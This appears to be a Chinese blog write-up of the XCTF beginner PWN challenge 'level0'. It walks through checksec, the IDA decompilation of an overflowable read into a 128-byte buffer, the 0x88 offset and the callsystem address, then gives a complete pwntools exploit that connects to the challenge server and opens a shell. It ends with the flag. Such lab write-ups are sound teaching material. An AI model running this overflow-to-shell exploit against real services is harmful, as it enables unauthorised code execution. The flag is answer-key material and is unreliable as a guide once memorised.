前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【愚公系列】2022年01月 攻防世界-简单题-PWN-001(level0)

【愚公系列】2022年01月 攻防世界-简单题-PWN-001(level0)

作者头像
愚公搬代码
发布2022-01-18 16:31:58
2870
发布2022-01-18 16:31:58
举报
文章被收录于专栏:历史专栏历史专栏

文章目录

一、level0

题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0

二、答题步骤

1.获取在线场景

level0
level0

2.查壳

对下载文件进行查壳,命令如下

代码语言:javascript
复制
file level0
checksec --file=level0
在这里插入图片描述
在这里插入图片描述

分析文件,小端程序(LSB),栈不可执行。

3.IDA

使用IDA对文件进行反汇编

第一步:首先找到main函数

查看main函数,发现没有能够注入的地方。但是vulnerable_function格外醒目

代码语言:javascript
复制
int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL);
}
在这里插入图片描述
在这里插入图片描述

第二步:进入vulnerable_function函数

进入vulnerable_function,发现有一个_read函数,且存在溢出风险。

代码语言:javascript
复制
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
在这里插入图片描述
在这里插入图片描述

函数return了一个 read(0, &buf, 0x200uLL);也就是回了一个read操作,大小为0x200uLL也就是200个空间,但是不知道200空间具体大小,因此双击进入变量&buf查看

在这里插入图片描述
在这里插入图片描述
  • 0000000000000080 - 0000000000000000个地址(注意是16进制),也就是0x80个地址,这是buf到s的。
  • 0000000000000008 - 0000000000000000个地址,也就是0x08个地址,这是从s到r的

两者相加,一共0x88个地址,把这些个地址用字符堵死,后续就能伪造执行的read

第三步:bin/sh漏洞利用

发现bin/sh的利用函数

代码语言:javascript
复制
int callsystem()
{
  return system("/bin/sh");
}
在这里插入图片描述
在这里插入图片描述

双击进去后发现函数能拿到bin/sh的权限,于是去Exports窗口找该函数的地址,

在这里插入图片描述
在这里插入图片描述

完整地址是:0000000000400596 ,这里其实只取后八位就可以:00400596,也就是0x00400596

用脚本把前面0x88个空间打死然后把这个函数地址用p64(0x00400596)拼接上,就可以让read拿到我们的bin/sh权限了。

第四步:写payload

代码语言:javascript
复制
from pwn import *

sh = remote("111.200.241.244",49323)  #remote:主要用作远程和服务器交互,返回一个类似连接对象

payload = 'A'*0x88 + p64(0x00400596).decode('unicode_escape') #p64:将数字转为字符串(p64/u64   p32/u32)

sh.sendlineafter("Hello, World",payload) #send:发送数据,通过连接对象调用
sh.interactive() #interactive:反弹shell

注意windows下执行脚本并不能成功

在这里插入图片描述
在这里插入图片描述

kali中执行脚本

在这里插入图片描述
在这里插入图片描述

运行得到flag:cyberpeace{fc253e69c1d461fcbe45e53b80eefe5e}

总结

  1. 注意windows和liunx系统区别
  2. p64(0x00400596).decode(‘unicode_escape’)
  3. IDA
  4. checksec
本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022-01-17 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 文章目录
  • 一、level0
  • 二、答题步骤
    • 1.获取在线场景
      • 2.查壳
        • 3.IDA
        • 总结
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档